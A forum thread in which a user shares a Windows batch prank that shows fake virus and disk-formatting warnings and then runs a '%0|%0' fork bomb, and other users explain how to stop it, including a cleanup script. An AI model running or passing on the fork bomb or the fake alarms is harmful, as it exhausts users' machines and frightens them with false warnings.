Kill a batch process

Discussion forum for all Windows batch related topics.

Moderator: DosItHelp

Post Reply
Message
Author
BennyTheWah
Posts: 1
Joined: 29 Jun 2012 15:57

Kill a batch process

#1 Post by BennyTheWah » 29 Jun 2012 16:08

I have created a (pretty) harmless batch file that forks and uses up processor time and page files.
The code is this:

Code: Select all

@echo off
start iexplore.exe
start calc.exe
msg * Warning your computer has detected a virus.
msg * To remove the virus click OK or close this box
msg * Your Hard drives are now being formatted
msg * Please wait ...........
msg * Please wait ...........
msg * Hard drive formatting failed
%0|%0


Unfortunately, I haven't got a way to get rid of it, if I go to task manager and kill cmd.exe and all other related processes, it still continues to work. Is there a way to kill the batch file, ideally with another batch file?

einstein1969
Expert
Posts: 947
Joined: 15 Jun 2012 13:16
Location: Italy, Rome

Re: Kill a batch process

#2 Post by einstein1969 » 29 Jun 2012 16:33

This is not the solution , but in emergency cases works:

1) Open the file batch
2) On first line write: "Goto :eof"
3) save.

If you can do these operation you stop the fork processes "manually".

If you want a method for kill/suspend with more speed of this fork bomb you can try to start a process with higher priority that kill every istances of this "fork bomb like/wabbit/rabbit".

Ed Dyreen
Expert
Posts: 1569
Joined: 16 May 2011 08:21
Location: Flanders(Belgium)
Contact:

Re: Kill a batch process

#3 Post by Ed Dyreen » 29 Jun 2012 17:43

'
Ok you got me, just couldn't believe such simple code could be that evil. :evil: :twisted: :lol:

'cmdProcess.CMD'

Code: Select all

@echo off

pause

%0|%0
'anti-cmdProcess'

Code: Select all

@echo off &(title %~n0)
:: (
     echo. &echo. attemting to terminate any other instances of 'cmd.EXE'...
     :: (
          start "%~n0" /realTime "%comspec%" /c taskKill /t /f /fi "windowTitle ne %~n0*" /im "cmd.EXE"
     :: )

     echo. &echo. attemting to overwrite 'cmdProcess.CMD'...
     :: (
          > "cmdProcess.CMD" type nul
     :: )

     echo. &echo. verifying results...
     :: (
          2>nul taskList /fi "windowTitle ne %~n0*" /fi "imageName eq cmd.EXE" |find /i "cmd.EXE" &&(

               start "%~n0" /realTime "%comspec%" /c "%~f0" &exit 1
          )
     :: )
:: )
exit 0

Post Reply